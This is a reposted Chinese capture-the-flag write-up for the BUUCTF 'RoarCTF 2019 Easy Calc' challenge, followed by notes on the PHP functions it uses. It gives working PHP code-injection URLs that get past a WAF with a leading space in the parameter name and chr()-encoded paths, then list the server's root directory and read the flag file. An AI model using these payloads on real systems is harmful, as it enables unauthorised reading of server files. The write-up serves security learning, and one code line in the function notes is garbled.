首页 > Web开发 > 详细

BUUCTF-[RoarCTF 2019]Easy Calc(WAF、代码审计、php函数)

时间:2021-05-13 19:55:13      阅读:26      评论:0      收藏:0      [点我收藏+]

1.尝试

技术分享图片

没有发现什么有效信息,看源码:

技术分享图片

发现网页有WAF, url:"calc.php?num="+encodeURIComponent($("#content").val()),这里值得尝试。于是:http://node3.buuoj.cn:27026/calc.php,得到php代码:

技术分享图片

2.WAF、代码审计、php函数

空格,\ 等都被过滤。所以

http://node3.buuoj.cn:27026/calc.php? num=var_dump(scandir(chr(47)))

num前加一个空格,scandir(/)中 / 用 chr(47)代替。

得到:

技术分享图片 发现有f1agg文件,于是用 file_get_contents(/flagg) 把整个文件读入一个字符串中。

http://node3.buuoj.cn:27026/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

得到flag!

chr码值对应列表

用到的一些函数:
scandir():列出参数目录 中的文件和目录
var_dump:是PHP中的调试函数,可以用var_dump打印所有的对象,查看对象内部数据结构。
var_dump( ‘参数1(必填参数)’ , 参数n" );
参数1:想要导出或者输出的内容。
作用: 输出填入的内容。
类型:所有类型。
参数N:想要导出或者输出的内容。
作用: 输出填入的内容。
类型:所有类型。
// 以升序排序 - 默认
a = s c a n d i r ( a = scandir(a=scandir(dir);
// 以降序排序
b = s c a n d i r ( b = scandir(b=scandir(dir,1);

file_get_contents() 把整个文件读入一个字符串中
file_get_contents(path,include_path,context,start,max_length)
参数 描述
path 必需。规定要读取的文件。
include_path 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 ‘1’。
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。
start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。
max_length 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。
————————————————
原文链接:https://blog.csdn.net/cainiao17441898/article/details/116244350

BUUCTF-[RoarCTF 2019]Easy Calc(WAF、代码审计、php函数)

原文:https://www.cnblogs.com/jingvf/p/14764632.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!